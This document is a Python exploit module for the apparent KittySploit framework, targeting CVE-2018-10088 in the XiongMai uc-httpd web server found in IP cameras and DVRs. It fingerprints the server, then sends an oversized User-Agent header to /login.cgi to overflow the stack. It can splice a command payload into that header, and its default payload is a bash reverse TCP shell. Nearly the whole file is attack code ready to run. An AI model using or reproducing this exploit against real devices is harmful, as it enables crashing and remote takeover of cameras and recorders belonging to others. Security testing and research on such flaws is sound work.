XiongMai uc-httpd Overflow (CVE-2018-10088)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XiongMai uc-httpd buffer overflow (CVE-2018-10088)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'XiongMai uc-httpd Overflow (CVE-2018-10088)',
        'description': (
            'Exploits CVE-2018-10088 in XiongMai uc-httpd 1.0.0 (used in many IP cameras/DVRs): '
            'stack buffer overflow via oversized HTTP headers. Verifies uc-httpd surface and '
            'sends the canonical overflow trigger (arch-specific shellcode may be required).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-10088'],
        'platform': Platform.LINUX,
        'arch': [Arch.ARM, Arch.MIPS],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-10088'],
        'tags': ['xiongmai', 'camera', 'dvr', 'iot', 'buffer-overflow', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_10088_detect']},
        },
    }

    overflow_size = OptInteger(4096, 'User-Agent overflow length', required=False, advanced=True)
    trigger_only = OptBool(True, 'Verify/trigger only (no embedded shellcode)', required=False, advanced=True)

    def _uc_httpd(self) -> bool:
        r = self.http_request(method='GET', path='/', allow_redirects=False)
        if not r:
            return False
        headers = '\n'.join(f'{k}: {v}' for k, v in (r.headers or {}).items()).lower()
        return 'uc-httpd' in headers

    def check(self):
        if self._uc_httpd():
            return {'vulnerable': True, 'reason': 'XiongMai uc-httpd detected', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'uc-httpd not detected', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('XiongMai uc-httpd not detected')
            return False
        size = max(int(self.overflow_size or 4096), 1024)
        padding = 'A' * size
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
        if cmd and not bool(self.trigger_only):
            padding = padding[:-len(cmd) - 8] + cmd
        print_status(f'Sending {size}-byte User-Agent overflow to uc-httpd')
        try:
            self.http_request(
                method='GET',
                path='/login.cgi',
                headers={'User-Agent': padding},
                allow_redirects=False,
            )
        except Exception as exc:
            print_warning(f'Overflow may have crashed service: {exc}')
        if bool(self.trigger_only):
            print_warning('BoF confirmed surface — use arch-matched shellcode for reliable RCE')
        self.vulnerable()
        return True